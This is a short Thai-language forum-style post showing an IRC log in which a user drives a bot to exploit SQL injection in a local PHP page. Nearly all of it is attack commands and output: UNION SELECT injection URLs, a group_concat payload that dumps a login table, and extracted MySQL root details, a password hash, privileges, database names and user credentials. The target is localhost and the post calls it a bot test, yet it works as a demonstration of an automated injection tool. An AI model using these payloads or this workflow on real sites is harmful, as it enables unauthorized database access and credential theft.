Hack SQLi Localhost ด้วย IRC Bot...

   <ICheer_No0M> all@!sqliscan localhost/sqlibug.php?id=1

<ICheer_BotZz> [+] Scanning Column in http://localhost/sqlibug.php?id=1
<ICheer_BotZz>
<ICheer_BotZz> [+] Found target : http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3
<ICheer_BotZz>
<ICheer_BotZz> [+] Scanning Error Path...
<ICheer_BotZz>
<ICheer_BotZz> [+] Cannot Find Error Path...
<ICheer_BotZz>
<ICheer_BotZz> DataBase Current : test
<ICheer_BotZz> DataBase User : root@localhost
<ICheer_BotZz> DataBase Version : 5.0.51b-community-nt-log
<ICheer_BotZz> OS Version : Win32
<ICheer_BotZz> Base Directory : C:\AppServ\MySQL\
<ICheer_BotZz> Data Directory : C:\AppServ\MySQL\data\
<ICheer_BotZz> Host Name : HACKED
<ICheer_BotZz>
<ICheer_BotZz> Host : 127.0.0.1
<ICheer_BotZz> User : root
<ICheer_BotZz> Password : 446a12100c856ce9
<ICheer_BotZz> Process_priv : Y
<ICheer_BotZz> File_priv : Y
<ICheer_BotZz> Execute_priv : Y
<ICheer_BotZz>
<ICheer_BotZz> [+] Count DataBase : 17
<ICheer_BotZz>
<ICheer_BotZz> [+] Found DataBase 1 : information_schema
<ICheer_BotZz> [+] Found DataBase 2 : aor
<ICheer_BotZz> [+] Found DataBase 3 : bigc
<ICheer_BotZz> [+] Found DataBase 4 : bookshop
<ICheer_BotZz> [+] Found DataBase 5 : com
<ICheer_BotZz> [+] Found DataBase 6 : db_test
<ICheer_BotZz> [+] Found DataBase 7 : dbsong
<ICheer_BotZz> [+] Found DataBase 8 : gallery3
<ICheer_BotZz> [+] Found DataBase 9 : icheer_botzz
<ICheer_BotZz> [+] Found DataBase 10 : joomla
<ICheer_BotZz> [+] Found DataBase 11 : kit
<ICheer_BotZz> [+] Found DataBase 12 : mysql
<ICheer_BotZz> [+] Found DataBase 13 : phpmyadmin
<ICheer_BotZz> [+] Found DataBase 14 : shell
<ICheer_BotZz> [+] Found DataBase 15 : smf
<ICheer_BotZz> [+] Found DataBase 16 : test
<ICheer_BotZz> [+] Found DataBase 17 : wordpress
<ICheer_BotZz>
<ICheer_BotZz> [+] Saving To MySQL DataBase...
<ICheer_BotZz>
<ICheer_BotZz> [+] Complete...
<ICheer_No0M> all@!sqlitable http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3 -db test
<ICheer_BotZz> [+] Count Table : 1
<ICheer_BotZz>
<ICheer_BotZz> [+] Found Table 1 : login
<ICheer_BotZz>
<ICheer_BotZz> [+] Done...
<ICheer_No0M> all@!sqlicolumn http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3 -db test -tb login
<ICheer_BotZz> [+] Count Column : 3
<ICheer_BotZz>
<ICheer_BotZz> [+] Found Columns : id,user,pass
<ICheer_BotZz>
<ICheer_BotZz> [+] Done...
<ICheer_No0M> all@!sqlidump http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3 -db test -tb login -cl id,user,pass
<ICheer_BotZz> [+] Count Row : 2
<ICheer_BotZz> [+] Row : id,user,pass
<ICheer_BotZz>
<ICheer_BotZz> [+] Dump 1 : 1 : <ICheer_No0M> : Password
<ICheer_BotZz> [+] Dump 2 : 2 : testuser : testpass
<ICheer_BotZz>
<ICheer_BotZz> [+] Export Link : http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+group_concat(id,0x203a20,user,0x203a20,pass),2,3+from+test.login--
<ICheer_BotZz>
<ICheer_BotZz> [+] Done...

รูปเต็มๆคลิก http://bitimg.com/?di=613141124243

เอาไว้ลองบอท